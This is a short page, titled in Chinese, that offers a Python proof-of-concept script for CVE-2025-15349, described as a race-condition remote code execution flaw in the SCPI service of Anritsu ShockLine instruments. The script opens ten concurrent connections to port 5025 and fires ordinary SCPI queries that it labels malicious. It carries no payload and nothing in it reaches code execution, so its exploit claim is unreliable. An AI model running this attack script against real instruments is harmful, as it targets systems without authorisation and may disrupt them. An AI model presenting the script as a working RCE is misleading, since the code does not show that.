CVE-2025-15349 Anritsu ShockLine SCPI竞态条件远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-15349 PoC - Anritsu ShockLine SCPI Race Condition RCE Note: This is a conceptual PoC demonstrating the race condition attack pattern. Actual exploitation requires access to the target SCPI service. """ import socket import threading import time import sys def send_scpi_command(sock, command): """Send SCPI command to target""" try: sock.send((command + '\n').encode('utf-8')) response = sock.recv(4096) return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {e}" def race_condition_attack(target_ip, target_port=5025): """ Exploit race condition in SCPI component The vulnerability exists due to lack of proper locking when performing concurrent operations on shared objects. """ print(f"[*] Starting race condition attack on {target_ip}:{target_port}") # Establish multiple connections to trigger race condition sockets = [] for i in range(10): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sockets.append(sock) print(f"[+] Connection {i+1} established") except Exception as e: print(f"[-] Connection {i+1} failed: {e}") if len(sockets) < 2: print("[-] Insufficient connections for race condition attack") return False print("[*] Sending concurrent SCPI commands to trigger race condition...") # Define malicious SCPI commands that may trigger the race condition malicious_commands = [ "*IDN?", "SYST:ERR?", "CONF?", "MEAS?", "INIT:IMM", "CALC:PAR:MOD SING", "SENS:FREQ:STAR 1E9", "SENS:FREQ:STOP 10E9", "FORM ASC", "TRIG:SOUR IMM" ] # Send commands concurrently from multiple sockets threads = [] for i, sock in enumerate(sockets): cmd_index = i % len(malicious_commands) thread = threading.Thread( target=send_scpi_command, args=(sock, malicious_commands[cmd_index]) ) threads.append(thread) thread.start() # Minimal delay to increase race condition probability time.sleep(0.001) # Wait for all threads to complete for thread in threads: thread.join(timeout=10) print("[*] Race condition exploitation attempted") # Cleanup for sock in sockets: try: sock.close() except: pass return True def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15349_poc.py <target_ip> [port]") print("Example: python cve-2025-15349_poc.py 192.168.1.100 5025") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 5025 print("=" * 60) print("CVE-2025-15349 PoC - Anritsu ShockLine SCPI Race Condition") print("=" * 60) race_condition_attack(target_ip, target_port) if __name__ == "__main__": main()